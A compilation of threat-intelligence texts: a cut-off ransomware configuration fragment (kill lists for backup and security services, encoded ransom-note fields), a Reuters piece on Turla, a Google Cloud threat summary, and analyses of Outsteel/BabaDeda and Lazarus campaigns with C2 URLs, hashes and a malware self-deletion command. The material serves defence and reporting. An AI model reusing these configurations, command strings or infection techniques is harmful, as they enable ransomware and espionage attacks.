"encsvc",
"infopath",
"sql",
"visio",
"powerpnt",
"mspub",
"thunderbird",
"agnt"
],
"svc": [
"sophos",
"sql",
"mepocs",
"memtas",
"svc$",
"backup",
"veeam",
"vss"
],
"net": false,
"nbody": "LQAtAC0APQA9AD0AIABXAGUAbABjAG8AbQBlAC4AIAB{EXT}-readme.txt",
"exp": false,
"img": "WQBvAHUAcgAgAGYAaQBsAGUAcwAgAGEAcgBlACAAZQBuAGMAcgB5AHAAdABlAGQAIQANAAoADQAKAEYA"
}
}
``` |
# Suspected Russian spyware Turla targets Europe, United States
By Peter Apps and Jim Finkle
LONDON/BOSTON (Reuters) - A sophisticated piece of spyware has been quietly infecting hundreds of government computers across Europe and the United States in one of the most complex cyber espionage programs uncovered to date. Several security researchers and Western intelligence officers say they believe the malware, widely known as Turla, is the work of the Russian government and linked to the same software used to launch a massive breach on the U.S. military uncovered in 2008. It was also linked to a previously known, massive global cyber spying operation dubbed Red October targeting diplomatic, military and nuclear research networks.
Those assessments were based on analysis of tactics employed by hackers, along with technical indicators and the victims they targeted. "It is sophisticated malware that's linked to other Russian exploits, uses encryption and targets western governments. It has Russian paw prints all over it," said Jim Lewis, a former U.S. foreign service officer, now senior fellow at the Center for Strategic and International Studies in Washington. However, security experts caution that while the case for saying Turla looks Russian may be strong, it is impossible to confirm those suspicions unless Moscow claims responsibility. Developers often use techniques to cloud their identity.
The threat surfaced this week after a little known German anti-virus firm, G Data, published a report on the virus, which it called Uroburos, the name text in the code that may be a reference to the Greek symbol of a serpent eating its own tail. Experts in state-sponsored cyber attacks say that Russian government-backed hackers are known for being highly disciplined, adept at hiding their tracks, extremely effective at maintaining control of infected networks and more selective in choosing targets than their Chinese counterparts. "They know that most people don't have either the technical knowledge or the fortitude to win a battle with them. When they recognize that someone is onto them, they just go dormant," said one expert who helps victims of state-sponsored hacking.
A former Western intelligence official commented: "They can draw on some very high grade programmers and engineers, including the many who work for organized criminal groups, but also function as privateers." Russia's Federal Security Bureau declined comment as did Pentagon and U.S. Department of Homeland Security officials. On Friday, Britain's BAE Systems Applied Intelligence - the cyber arm of Britain's premier defense contractor - published its own research on the spyware, which it called "snake." The sheer sophistication of the software, it said, went well beyond that previously encountered - although it did not attribute blame for the attack.
"The threat... really does raise the bar in terms of what potential targets, and the security community in general, have to do to keep ahead of cyber attacks," said Martin Sutherland, managing director of BAE Systems Applied Intelligence.
## NATO NATIONS TARGETED
Security firms have been monitoring Turla for several years. Symantec Corp estimates up to 1,000 networks have been infected by Turla and a related virus, Agent.BTZ. It named no victims, saying only that most were government computers. BAE said it has collected over 100 unique samples of Turla since 2010, including 32 from Ukraine, 11 from Lithuania and 4 from Great Britain. It obtained smaller numbers from other countries.
Hackers use Turla to establish a hidden foothold in infected networks from which they can search other computers, store stolen information, then transmit data back to their servers. "While it seems to be Russian, there is no way to know for sure," said Mikko Hypponen, chief research officer with Helsinki-based F-Secure, which encountered Turla last year. Security firms that are monitoring the threat have said the operation's sophistication suggests it was likely backed by a nation state and that technical indicators make them believe it is the work of Russian developers.
European governments have long welcomed U.S. help against Kremlin spying, but were infuriated last year to discover the scale of surveillance by America's National Security Agency that stretched also to their own territory.
## AGENT.BTZ, RED OCTOBER
Security experts say stealthy Turla belongs to the same family as one of the most notorious pieces of spyware uncovered to date: Agent.BTZ. It was used in a massive cyber espionage operation on U.S. Central Command that surfaced in 2008 and is one of the most serious U.S. breaches to date. While Washington never formally attributed blame, several U.S. officials have told Reuters they believed it was the work of Russia. Hypponen said Agent.BTZ was initially found in a military network of a European NATO state in 2008, but gave no details. F-Secure is credited with naming that piece of malware in 2008, though researchers believe it was created already in 2006.
Kaspersky Lab researcher Kurt Baumgartner said he believes Turla and Agent.BTZ are related to Red October, which suddenly shut down after his firm reported on it in January 2013. "Unusually unique artifacts link Red October, Agent.BTZ and Turla," he said, referring to strings of text contained in the code and functionality of the malware. Eric Chien, technical director with Symantec Security Response, described Turla as "the evolution" of Agent.BTZ. "They are a very active development group," Chien said.
Finland said its Foreign Ministry computer systems had been penetrated by an attack last year but would not elaborate. Sweden's National Defence Radio Establishment said cyber espionage was "more common than people think," adding that it had discovered multiple attacks against authorities, governments and universities, some only detected after several years. Government sources in the Czech Republic, Estonia, Poland and Romania said Turla had not affected them directly. Other European governments contacted by Reuters declined comment.
## CHASING TURLA
Although computer security researchers have been quietly studying Turla for more than two years, public discussions of the threat only began after G Data published its report. G Data spokesman Eddy Willems declined to name any victims or identify the author of the report, saying the firm was concerned the group behind Turla might attempt to harm him. Jaime Blasco, director of AlienVault Labs, said that Turla was more of a "framework" for espionage than simply malware. The malware is a "root kit" that hides the presence of the spying operation and also creates a hidden, encrypted file system to store stolen data and tools used by the attackers, he said. Those tools include password stealers, tiny programs for gathering information about the system and document stealers.
The operators can download specialized tools onto an infected system, adding any functionality they want by including it in the encrypted file system, Blasco said. They have used dozens of different "command and control" servers located in countries around the world to control infected systems, according to Symantec, whose researchers have helped identify and shut down some of those systems. Researchers say Turla's code is regularly updated, including changes to avoid detection as anti-virus companies detect new strains. BAE said it had two samples created in January 2014. Chien said that in some cases when a command and control server was taken offline, Turla's operators have quickly pushed out new versions of the malware that directed infected computers to new command and control servers. "They have a super active development team," he said. |
# Threat Horizons
## Mission Statement
The Google Cloud Threat Horizons Report provides decision-makers with strategic intelligence about threats to cloud enterprise users, along with cloud-specific research. Most importantly, the report delivers recommendations from Google’s intelligence and security teams.
## Credentials Factor into Over Half of Incidents in Q1 2023
The following statistics are based on observations by our Google Cloud incident response teams, which may be skewed to the platforms in the sample and may not be representative of all customer environments and verticals on Google Cloud, but should be representative of general trends.
In Q1 2023, Google Cloud’s incident response teams observed that credential issues continue to be a consistent challenge, accounting for over 60% of compromise factors, which could be addressed by stronger identity management guardrails in place at the organization level. Misconfiguration accounted for 19% of compromise factors, which were also associated with other compromise factors such as sensitive UI or APIs exposed. An example of how these two factors are associated could include a misconfigured firewall that unintentionally provided public access to a UI.
We also analyzed anonymized alert statistics from Chronicle Security Operations in Q1 2023 to determine the top risky actions that can lead to compromises, which were identified as: cross-project abuse of access token generation permission, replacement of existing compute disks/snapshots, service account key creation, and GCE project SSH keys.
Google Cloud’s Chronicle Security Operations can help provide instant analysis and context on such risky activities, indicating an anomaly in the normal workflow of traffic in the environment.
## Mobile Apps Evading Cloud Enterprise Detection through Versioning
Researchers have identified instances of Android applications downloading malicious updates after installation, attempting to evade Google Play Store’s malware detections. In this article, we’ll explore the use of deploying one version of an app to gain the Play Store’s trust before issuing a malicious update of that same application. Campaigns using versioning commonly target users’ credentials, data, and finances.
One way malicious actors attempt to circumvent Google Play’s security controls is through versioning. Versioning occurs when a developer releases an initial version of an app on the Google Play Store that appears legitimate and passes our checks, but later receives an update from a third-party server changing the code on the end user device that enables malicious activity.
Google conducts rigorous PHA screening on applications and their patches through the Play Store; however, DCL circumvents some of those controls. For enterprise environments, the most reliable detection of this type of attack rests in the enterprise policy and configurations.
## Identifying Compromised Customer Domains and IPs on Google Cloud
We encourage all Google Cloud customers to periodically examine their domains and IPs for malicious activity. Protecting online reputations – avoiding “spam” and associated denylist-type of labels – will ensure uninterrupted online interactions with such assets.
Using 2022-23 VirusTotal and Mandiant data, we discovered 13 customer domains and one IP hosted on Google Cloud that were compromised in Q1 2023. Each of the uncovered 13 websites had at least one malicious file downloaded from it, while the one IP had bi-directional communications with external malware, using ports above the well-known port range (i.e., numbering 1024-65535).
To identify compromised domains, we searched VirusTotal for domains that had malware downloaded from them in Q1 2023. We reduced this set to domains hosted on Google Cloud IPs, and further reduced it to domains that Mandiant classified as suspicious or malicious.
## Telecommunications Industry Profile: How Zero Trust with Cloud Adoption Can Help Mitigate Threats
This is the first article in a new series from our research and analysis team exploring the implications of cloud services adoption and security across various industries. This article provides telecommunications organizations with data-driven insights on the cyber threat landscape and actionable cloud security risk management recommendations to enhance their defensive posture against threats.
As the telecommunications industry adopts cloud services, threats from nation states and cybercriminals will likely persist—along with pre-existing systemic cyber risk—that can be addressed by modern cybersecurity approaches such as Zero Trust.
The telecom industry is responsible for critical infrastructure and is trusted with highly sensitive customer and communications data. As a result, the industry is consistently targeted by state actors and cybercriminals with malware campaigns seeking to steal sensitive personal and financial data or to disrupt services.
## Threat Insights: Implications of Source Code Leaks
This article increases awareness of how compromises or leaks of source code can help cyber threat actors facilitate a variety of exploitation activities, including exposure and abuse of legitimate credentials and certificates, unauthorized reproduction and use of leaked software, the development or insertion of vulnerabilities, and supply chain compromise.
Common causes of source code leaks include credential or authentication token compromise, third-party compromise, misconfiguration, and insider threat. Compromises and leaks of source code could allow cyber threat actors to facilitate a variety of exploitation activities, including the exposure and abuse of legitimate credentials and certificates, the development or insertion of vulnerabilities, or supply chain compromise.
## Threat Insights: Leveraging Third-Party Services While Reducing Risk
The Cloud Security Alliance identified Unsecure Third-Party Resources as one of the Top Threats to Cloud Computing. Bad actors looking to evade detection can exploit these trusted relationships to gain access to organizations through supply chain attacks.
Mandiant highlighted that this was the first time it had seen a software supply chain attack lead to another software supply chain attack. There are various third-party services and distribution channels for customers to use such as cloud marketplaces, browser extensions, OAuth applications, and IDE extensions.
Organizations are encouraged to perform vendor security audits and continually monitor and audit the usage of third-party apps and services to ensure the supply chain has not been compromised prior to reaching its intended consumer or after trust has been established. |
# Cyber Reports – BabaDeda and LorecCPL Downloaders Used to Run Outsteel Against Ukraine
## 1. Introduction
Beginning in January 2022, there was a series of attacks on numerous organizations in Ukraine spanning the government, the military, and non-governmental organizations (NGOs), with the primary intent of exfiltrating sensitive information and maintaining access. Based on these new details and Telsy's threat hunt, we uncovered several links that strongly support the idea that these attacks were part of a larger campaign that has been running for a few months and has undergone several evolutions.
In this way, we have mapped the various clusters and in particular three chains of infection, composed of a series of techniques and procedures, with several significant elements that we consider important to better understand the various phases implemented. One of the most used access vectors in these campaigns are spear-phishing emails with malicious attachments. Phishing attachments contain a first-stage payload that downloads and executes additional payloads. The main payload provided by the malware is an infostealer written in AutoIt compiled (OutSteel). Its main goal is to steal files from the victim's machine by uploading them to a default Command and Control (C2) server.
The element detected in these latter chains is the downloader used to load the infostealer “Outsteel.” In the past, this was loaded by the SaintBot tool, while in these campaigns, it is loaded by the BabaDeda crypter. Based on victimology and the fact that this attack attempts to steal files from government entities, it is assumed to be a state-sponsored group. Some evidence suggests that these activities are carried out by a hacker group called “Lorec53” as named by the security firm “NSFocus.” The group is suspected of being employed by other high-level espionage organizations to conduct espionage attacks, targeting government employees in Georgia and Ukraine. This group uses the infostealer "Outsteel" and the downloader "LorecCPL," both of which have overlapping code with the same artifacts identified in the campaigns analyzed in this report. We can therefore assume that the BabaDeda crypter is also one of the tools in use by this group.
## 2. Analysis
Telsy detected several infection chains starting with different initial stages: document template, LNK file, or a CPL file representing a new type of downloader very similar to a shellcode in the way the stack is used. The second phase uses the BabaDeda crypter to run the infostealer called OutSteel.
BabaDeda Crypter is an evasive malware that acts like an installer and executes a shellcode stored encrypted in a file, usually XML or PDF, dropped by the installer itself. The main binary of BabaDeda Crypter is a malicious binary, compiled with a writable text segment, that has only the purpose to load the first malicious library. The first malicious DLL side-loaded decrypts the shellcode, storing it in the text section of the main binary and loads/executing the secondary malicious library in another thread, then returns to the decrypted shellcode.
### 2.1 Double BabaDeda Crypter Downloaded from LNK or DOCM Template
This infection chain, which can be placed in the period September/October 2021, starts with a link (LNK) or a Word template document that downloads the BabaDeda crypter. The BabaDeda crypter includes Outsteel as a payload and a downloader as a second library.
The LNK file with hash `931a86f402fee99ae1358bb0b76d055b2d04518f`, most likely distributed by e-mail, named “Особливі документи СБУ.lnk” (Special documents of the SBU.lnk), is clearly a decoy document for Ukrainian defense officers. This LNK file was contained in zip archives hosted on Discord. When opened, it executes a PowerShell command to download and execute the first phase from the URL: “hxxp://3237.site/test01.exe.”
The downloaded executable with hash `0d584d72fe321332df0b0a17720191ad96737f47` is stored in the public directory and executed from the PowerShell itself. Instead, the document with hash `ac672a07c62d48c0a7f98554038913770efaef11` is a Word DOTM model and starts the first phase of the infection in the same way as the LNK file, downloading and executing the same artifact through PowerShell: “hxxp://3237.site/test01.exe.”
The following document header suggests that this document may have been used after September 2021: “Addition to the decision of the National Security and Defense Council of Ukraine of September 7, 2021 'On Amendments to Personal Special Economic and Other Restrictive Measures (Sanctions).'” The template contains a macro that on the open event drops a CMD file with a PowerShell command inside. The CMD file is stored in “C:\Users\Public\Documents\programtwo.cmd” and contains the PowerShell command to download the artifact from URL “hxxp://3237.site/test01.exe” and save it in “C:\Users\Public\Documents\manlevel.exe.”
As in the previous LNK document, the PowerShell command runs the downloaded file. Also, the Word template has been hosted on Discord and is most likely downloaded as a remote template from a DOCX released by email.
#### 2.1.1 First Stage
Both files, LNK and Word template, download the same installer created with Inno Setup. Once executed, it extracts all the components in the path: “C:\Users\admin\AppData\Roaming\mXParser.” The main executable, named “mathparser.exe” whose hash is `26474ba449682e82ca38fef32836dcb23ee24012`, is executed directly by the installer after all the components have been extracted.
This installation is a BabaDeda crypter, i.e., a type of loader. In fact, as described in the blog of the security company "Morphisec,” it is used to evasively load a malicious payload stored in another file. Since the analysis cited by the blog is exhaustive, it was not performed. This loader was reported in November 2021 in connection with attacks against the NFT and Crypto community. Instead, it was used in these campaigns, leading to the assumption that it could be code reuse or the action of the same cybercriminal group in favor of a state-sponsored threat actor.
Basically, the BabaDeda crypter phases are:
1. Main Binary load and run a malicious DLL;
2. The malicious DLL load and execute in another thread the second malicious DLL;
3. The first malicious DLL reads and parses the shellcode and writes it in the text section of the main binary;
4. The first malicious DLL returns to the shellcode entry point;
5. The decryption shellcode has three main tasks: first, it extracts the loader shellcode and the payload, then it decrypts them, and finally, it transfers the execution to the decrypted loader shellcode.
6. Finally, the payload is executed.
Since the second loaded DLL and the final payload can be customized, the BabaDeda crypter can be used to load any type of installation. In fact, in this particular infection chain, the first installer is intended to download and run another BabaDeda crypter. This differs from the analysis carried out by the company Morphisec in November 2021 in which the samples analyzed were only used to directly upload malicious artifacts.
The “mathparser” installation directory contains the following malicious files:
| NAME | SHA1 | PURPOSE |
|---------------------|--------------------------------------------------------------------|-------------------------------------------|
| mathparser.exe | 26474ba449682e82ca38fef32836dcb23ee24012 | Main malicious Binary |
| JxCnv40.dll | 7d44391b76368b8331c4f468f8ddbaf6ee5a6793 | 1st Loaded DLL |
| libics4.0.dll | e1d92e085df142d703ed9fd9c65ed92562a759fa | 2nd Loaded DLL |
| manual.pdf | 8423b25054aa78535c49042295558f33d34deae1 | Shellcode Container |
So, the main binary before loading the library named “JxCnv40.dll” sets the current directory to the right path to ensure that the side loading technique works. This library, with hash `7d44391b76368b8331c4f468f8ddbaf6ee5a6793`, runs in a thread the second malicious library.
Basically, the first library opens “manual.pdf,” reads all the content, then starts a new thread and copies the 0x226 bytes from the file content into the main binary text section. The main binary is compiled with a writable text section, so it does not need any virtual protect API. The shellcode taken from the file is located at a specified offset and has a fixed size, which means that the BabaDeda crypter is not so ductile; indeed, the binary is strictly linked to the shellcode and the file that contains the shellcode. This makes it harder to reuse it without having the BabaDeda crypter build tools. A threat actor could use it by changing the offsets manually to load another shellcode of different length from another file.
Meanwhile, the second library is executed in another thread, the final payload is decrypted and executed in the main binary thread. The payload named Outsteel sends the documents to be exfiltrated to the URL “hxxp://185.244.41.109:8080/upld/.” This IP was disclosed as an IoC by the Ukrainian CERT in February 2022, although the same has been in use since at least October 2021. The final payload was decompiled with AutoIt tools and a code snippet follows.
The second library, with hash `e1d92e085df142d703ed9fd9c65ed92562a759fa`, is a mere downloader. Its main and only purpose is to download the next stage and run it. Then the library with hash `e1d92e085df142d703ed9fd9c65ed92562a759fa` downloads from the URL "hxxp://smm2021.net/load2022.exe" the artifact, stores it in the path "C:\Users\<user>\Downloads\installation.exe," and finally executes it.
The downloaded file represents the second BabaDeda crypter installation and has hash `75afd05e721553211ce2b6d6760b3e6426378469`. In particular, once executed, it runs an msiexec command to extract each component of the installation to “C:\Users\admin\AppData\Roaming\AdoptOpenJDK\Network OpenJDK 11 2.1.11.53.” After that, the main binary is executed automatically.
The malicious files released are:
| NAME | SHA1 | PURPOSE |
|---------------------|-----------------------------------------------------------------|-------------------------------------------|
| adfrecorder.exe | adea1f5656c54983880c4f1841df85016828eece | Main malicious Binary |
| ff_wmv9.dll | ba9cea9ae60f473d7990c4fb6247c11c080788d3 | 1st Loaded DLL |
| libegl3.dll | 3a0a4e711c95e35c91a196266aeaf1dc0674739d | 2nd Loaded DLL |
| usage.pdf | fa7887bc9d48fcfc6fd0e774092ca711ae28993a | Shellcode Container |
The workflow is quite like the previous; the difference is in the final payload and in the second malicious library. The library “ff_wmv9.dll,” with hash `ba9cea9ae60f473d7990c4fb6247c11c080788d3`, is executed to decrypt the final payload and loads the second library.
The second library achieves persistence by creating a link file pointing to the main binary in the startup directory. The link file is created via COM object interface, in particular using the IShellLinkW interface. The startup directory is obtained using SHGetFolderPathW() API.
Meanwhile, the second library gains persistence, the main thread runs the real payload after that it is decrypted as described for the BabaDeda crypter. To have the final payload, the main binary has been dumped just after the decryption phase. The final payload is a downloader that tries to download the next stage and run it in another process.
The threat actor used a particular way to check the file size. It runs a stat() and checks the size field. If it is 1, then the file and the malware are removed; otherwise, it is executed. The downloaded file is executed in a new process.
Unfortunately, the C2 “hxxp://45.12.5.62/<timestamp in hex>” was not working, so no further payloads are available.
#### 2.1.2 WhisperGate Code OVERLAP
Some similarity has been found between the final payload, especially in the self-deletion routine. In particular, the similarity is with the file having the hash `34ca75a8c190f20b8a7596afeb255f2228cb2467bd210b2637965b61ac7ea907`, i.e., the file “Wiper.” Indeed, the file wiper reported by “Unit42” shows that the self-deletion command string is almost identical.
Below are the two strings used:
| Executable | Command |
|--------------------------------|-------------------------------------------------------------------------|
| File Wiper (WhisperGate) | cmd.exe /min /C ping 111.111.111.111 -n 5 -w 10 > Nul & Del /f /q "%s" |
| adfrecorder.exe (final payload)| cmd.exe /min /C ping 111.111.111.111 -n 1 -w 10 > Nul & Del /f /q "%s" |
Although the code is quite similar, at the same time it can be quite common. Nevertheless, the CMD command, its options, and the use of the IP 111.111.111 as a whole suggest a similarity between the two artifacts. In addition, both malware processes close after execution of the CMD command.
### 2.2 BABADEDA Crypter Dropped from a New Downloader
The second infection chain analyzed begins with an archive containing a file with the extension ".cpl" that subsequently downloads the BabaDeda crypter. Based on the compilation date of the CPL file, it is assumed that this campaign can be traced back to November 2021.
In terms of analysis, looking at a CPL file is essentially identical to a DLL file. However, unlike the latter, it is automatically run when double-clicked. This makes it similar to EXE files; however, uneducated users may be more likely to try to execute CPL files if they do not know any better. These files with the extension CPL have code overlaid with LorecCPL described by the security company NSFocus.
The zip archive, with hash `33ddc1b13c079001eaa3514de7354019fa4d470a`, was hosted on Discord and contains the LorecCPL file with hash `3bbe45cdcc2731c0bb4751d1098eccc50f98ef66`. The latter is named “PDF – Інструкція отримання бонусу за вакцинацію ______________________-pdf.cpl” which means “PDF – Instructions for receiving the vaccination bonus __________________________- pdf.cpl.”
The LorecCPL file downloads an MSI file and installs it in the path: “C:\Users\admin\AppData\Roaming\3delite\Memory Test Toolkit.” The LorecCPL file is therefore only a downloader and has a structure similar to a shellcode.
The library downloads an executable, with hash `7b67ed1f42e5cf388a0a981566598E716D9B4F99` from the URL "CDN.Discordapp.com/attachments/908281957039869965/911202801695/9112028016965/91120280162882172/adobeaacrobatreaderUpdate.exe" using the "WinHTTP" library, saves it in the path: “C:\Users\Public\svchosts.exe” and finally executes it. The file with hash `7b67ed1f42e5cf388a0a981566598e716d9b4f99` installs the BabaDeda crypter and starts the main malicious binary named also in this case mathparser.exe.
The malicious files extracted are always the same:
| NAME | SHA1 | PURPOSE |
|---------------------|------------------------------------------------------------|-------------------------------------------|
| mathparser.exe | f2b8ab6f531621ab355912de64385410c39c1909 | Main malicious Binary |
| JxCnv40.dll | 7d44391b76368b8331c4f468f8ddbaf6ee5a6793 | 1st Loaded DLL |
| libics4.0.dll | e1d92e085df142d703ed9fd9c65ed92562a759fa | 2nd Loaded DLL |
| manual.pdf | 8423b25054aa78535c49042295558f33d34deae1 | Shellcode Container |
The LorecCPL libraries have been used to download Outsteel or BabaDeda crypter.
### 2.3 LorecCPL Downloads ASPProtected Outsteel
This infection chain, according to the compilation time, is of December 2021. Differently from the previous one, it does not use the BabaDeda crypter as a loader but just uses LorecCPL to download Outsteel packed.
The chain starts with an archive, with hash `0d94bac4c4df1fe3ad9fd5d6171c7460b30d8203`, containing a LorecCPL file, with hash `f9d5b4cd52b42858917a4e1a1a60763c039f8930`, and named “pdf - Приклад заповнення пояснювальної текст заповнюється вручну.cpl.” The CPL file, having the text segment writable, decrypts the real code via XOR and then jumps on it. After the XOR operation, the code goes on the decrypted zone and executes the usual LorecCPL flow, i.e., putting arguments on the stack as return address and using them in functions.
The LorecCPL will download from "stun.site/zepok101.exe" the Outsteel infostealer, with hash `dbc9c8a492ae270bb7ed845680b81b94483ab585`, packaged with the ASProtect tool. After decompressing and unpacking it, the “Outsteel” infostealer was found to exfiltrate documents on C2: “hxxp://185.244.41.109:8080/upld/.”
Belonging to the same campaign, for the same infection chain and period, there is another archive, with hash `66117493eed35fbd3824e35971b0919190cd1de7`, hosted at the following URL: “hxxp://flexspace.app/images/%D0%A2%D0%9B%D0%A4%20%D0%B8%D0%BD%D1%8
84%D0%BE%D1%80%D0%BC%20%D0%92%D0%A0%D0%A3.docx.rar.” This RAR file contains the usual LorecCPL file inside, with hash `d0f1518db54f280dde5008404a2750641e76ceb2`, named “ТЛФ информ ВРУ.docx.cpl.” The LorecCPL file, just like the previous one, starts decrypting its payload and then acts like the previous downloading the Outsteel ASPProtected.
The LorecCPL will download the next stage Outsteel from the following URL: “hxxp://stun.site/42348728347829.exe.” The next stage, with hash `942337f3ea28f553b47dc05726bb062befe09fef`, is still packed with ASProtector. The exfiltrated documents are still sent to the same IP address: 185.244.41.109.
## 3. Indicators of Compromise
| TYPE | HASH | PURPOSE |
|---------------------|--------------------------------------------------------------------|-------------------------------------------|
| DOTM | ac672a07c62d48c0a7f98554038913770efaef11 | Start Chain Document Template downloader |
| LNK | 931a86f402fee99ae1358bb0b76d055b2d04518f | Start Chain Link file downloader |
| CPL | 3bbe45cdcc2731c0bb4751d1098eccc50f98ef66 | Start Chain CPL file downloader |
| EXE | 0d584d72fe321332df0b0a17720191ad96737f47 | BABADEDA Crypter Installer (Installer) |
| EXE | 75afd05e721553211ce2b6d6760b3e6426378469 | BABADEDA Crypter Installer (Installer) |
| EXE | 26474ba449682e82ca38fef32836dcb23ee24012 | Mathparser.exe main binary |
| EXE | f2b8ab6f531621ab355912de64385410c39c1909 | Mathparser.exe main binary |
| DLL | 7d44391b76368b8331c4f468f8ddbaf6ee5a6793 | JxCnv40.dll malicious library shellcode injector (1st stage) |
| DLL | ba9cea9ae60f473d7990c4fb6247c11c080788d3 | ff_wmv9.dll malicious library shellcode injector (1st stage) |
| DLL | e1d92e085df142d703ed9fd9c65ed92562a759fa | libics4.0.dll malicious library downloader (2nd stage) |
| DLL | 3a0a4e711c95e35c91a196266aeaf1dc0674739d | libegl3.dll malicious library for persistence (2nd stage) |
| PDF | 8423b25054aa78535c49042295558f33d34deae1 | manual.pdf shellcode container (Shellcode) |
| PDF | fa7887bc9d48fcfc6fd0e774092ca711ae28993a | usage.pdf shellcode container (Shellcode) |
| Archive | 0d94bac4c4df1fe3ad9fd5d6171c7460b30d8203 | Archive (CPL container) |
| CPL | f9d5b4cd52b42858917a4e1a1a60763c039f8930 | Outsteel downloader |
| EXE | dbc9c8a492ae270bb7ed845680b81b94483ab585 | Outsteel Asprotected |
| Archive | 66117493eed35fbd3824e35971b0919190cd1de7 | Archive (CPL container) |
| CPL | d0f1518db54f280dde5008404a2750641e76ceb2 | Outsteel downloader |
| EXE | 942337f3ea28f553b47dc05726bb062befe09fef | Outsteel Asprotected |
## 4. ATT&CK Matrix
Telsy is the Digital Champion of TIM Group for cybersecurity and cryptography. For 50 years it has been at the service of the defense of the country, supporting armed forces and institutions in the defense of communications and the Italian cyber perimeter. Working in synergy with the other factories of the TIM Group, Telsy is the Cybersecurity competence center, which develops, besides the innovative core business focused on communication security, firmware security, MSS, data center security, and decision intelligence & data analytics solutions. Telsy complies with the Golden Power regulation, being a strategic company to the national security and defense. This report was produced by Telsy’s “Cyber Threat Intelligence” team with the help of its CTI platform, which allows to analyze and stay updated on adversaries and threats that could impact customers’ business.
©2022 Telsy. All rights reserved. The reproduction and distribution of this material is prohibited without express written permission from Telsy. |
# Lazarus Campaign TTPs and Evolution
**Executive Summary**
AT&T Alien Labs™ has observed new activity attributed to the Lazarus adversary group potentially targeting engineering job candidates and/or employees in classified engineering roles within the U.S. and Europe. This assessment is based on malicious documents believed to have been delivered by Lazarus during the last few months (spring 2021). However, historical analysis shows the lures used in this campaign align with others targeting these groups. The purpose of this blog is to share new technical intelligence and provide detection options for defenders. Alien Labs will continue to report on any noteworthy changes.
**Key Takeaways:**
- Lazarus has been identified targeting defense contractors with malicious documents.
- There is a high emphasis on renaming system utilities (Certutil and Explorer) to obfuscate the adversary’s activities (T1036.003).
## Background
Since 2009, the known tools and capabilities believed to have been used by the Lazarus Group include DDoS botnets, keyloggers, remote access tools (RATs), and drive wiper malware. The most publicly documented malware and tools used by the group actors include Destover, Duuzer, and Hangman.
## Analysis
Several documents identified from May to June 2021 by Twitter users were linked to the Lazarus group. Documents observed in previous campaigns lured victims with job opportunities for Boeing and BAE Systems. These new documents include:
- Rheinmetall_job_requirements.doc: identified by ESET Research.
- General_motors_cars.doc: identified by Twitter user @1nternaut.
- Airbus_job_opportunity_confidential.doc: identified by 360CoreSec.
The documents attempted to impersonate new defense contractors and engineering companies like Airbus, General Motors (GM), and Rheinmetall. All of these documents contain macro malware, which has been developed and improved during the course of this campaign and from one target to another. The core techniques for the three malicious documents are the same, but the attackers attempted to reduce potential detections and increase the faculties of the macros.
### First Iteration: Rheinmetall
The first two documents from early May 2021 were related to a German engineering company focused on the defense and automotive industries, Rheinmetall. The second malicious document appears to include more elaborate content, which may have resulted in the documents going unnoticed by victims. The Macro has base64 encoded files, which are extracted and decoded during execution. Some of the files are split inside the Macro and are not combined until the time of decoding. One of the most distinctive characteristics of this Macro is how it evades detections of an MZ header encoded in base64 by separating the first two characters from the rest of the content.
The rest of the content is kept together in lines of 64 characters, allowing YARA rules to detect other typical executable content encoded in base64 aside from the MZ header. In this case, up to nine different YARA rules alerted to suspicious encoded strings in our Alien Labs analysis, like VirtualProtect, GetProcAddress, IsDebuggerPresent, GetCurrentProcessId, etc.
All files created by the executable and used by the different Macros are located in a new folder C:/Drivers to masquerade their activity. The Macro copies and renames the legitimate Microsoft executable Certutil.exe into this folder. This copy avoids endpoint detection and response (EDR) signatures based on system utilities executed from non-standard sources (a Microsoft Office document in this case). Additionally, the copy of Certutil is disguised to avoid using the full string, by partially replacing it with an asterisk %systemroot%\system32\certut*.exe. As seen in later iterations, this technique was slightly modified to further reduce the number of detections.
Certutil is used to decode the previously mentioned file, doing it within the same folder and with a different executable name. Once the necessary files have been decoded, the encoded files are removed from the system. The script queries WMI to list all the explorer.exe processes, where it will try to inject the malicious payload. For the injection, the attackers used Mavinject (a legitimate Windows component that can be used and abused) to perform arbitrary code injections inside any running process.
The payload is a downloader, which requests the next stage from a hardcoded Command and Control (C&C) server and saves it to a new file. This request is made through HTTPS with hardcoded headers. The domain used as C&C has been registered for several years and continues to have a long expiration date. For these reasons, this domain was assessed as a compromised domain leveraged by Lazarus as C&C.
### Second Iteration: General Motors
A few weeks after the Rheinmetall document was observed, a very similar document emerged targeting General Motors. The characteristics of this document were very similar to the previous one, but with minor updates in the C&C communication process. After attempting to execute all its code, the Macro reports back to the C&C server with the status of the infection. In the code, a variable is updated from 1 to 3, signaling the status of the execution. The C&C is capable of tracking where its execution is failing or encountering unexpected behavior based on the requests made to the different documents in the C&C.
The domain used in this document and payload allgraphicart[.]com is no longer a compromised domain. It was first registered on April 1, 2021. However, it did not have any noteworthy activity until these malicious documents showed up, at least a month after the domain was registered.
### Third Iteration: Airbus
In early June, a month after the first document of this campaign was observed, a new document was identified targeting Airbus. This time, the C&C communications were very similar to the previous iteration of the document; however, the execution and injection processes were different. This document continues utilizing and masquerading Certutil, but the copy command had the minor addition of another asterisk to reduce the detection risk: %systemroot%\system32\*ertut*.exe. In addition to Certutil, the legitimate explorer executable is copied to the C:\Drivers folder through a similar method %systemroot%\exp*.exe.
This Macro contains three files encoded with base64 which are copied to disk and decoded during execution:
- The first .tmp file will become a .lnk file after decoding. This lnk file is executed with Explorer and performs the next decoding.
- The second tmp file is concatenated (linked) with a third one, from the next-stage payload after decoding.
After the actions, the Macro executes the mentioned payload with an updated technique. The attackers are no longer using Mavinject but directly executing the payload with explorer.exe, significantly modifying the resulting execution tree. Once the payload has been executed, the Macro waits for three seconds before creating an .inf file in the same folder. Whether it was successfully executed or not, the Macro will proceed to send the beacon to the C&C with the execution status and delete all the temporary files, attempting to clean their tracks. The only files left in C:\Drivers\ at this point are the payload and the .inf file.
The new C&C shopweblive[.]com follows the same pattern and characteristics of the one used in the second iteration.
## Conclusion
The reported activity remains in line with Lazarus’ past campaigns and is not expected to be the last. Attack lures, potentially targeting engineering professionals in government organizations, showcase the importance of tracking Lazarus and their evolution. We continue to see Lazarus using the same tactics, techniques, and procedures that we have observed in the past, such as using Microsoft Office documents that download remote templates, Microsoft Office Macros, and compromised third-party infrastructure to host the payloads and proxy C&C traffic through. AT&T Alien Labs will continue to monitor and report on any noteworthy changes.
## Detection Methods
The following associated detection methods are in use by Alien Labs. They can be used by readers to tune or deploy detections in their own environments or for aiding additional research.
### SURICATA IDS SIGNATURES
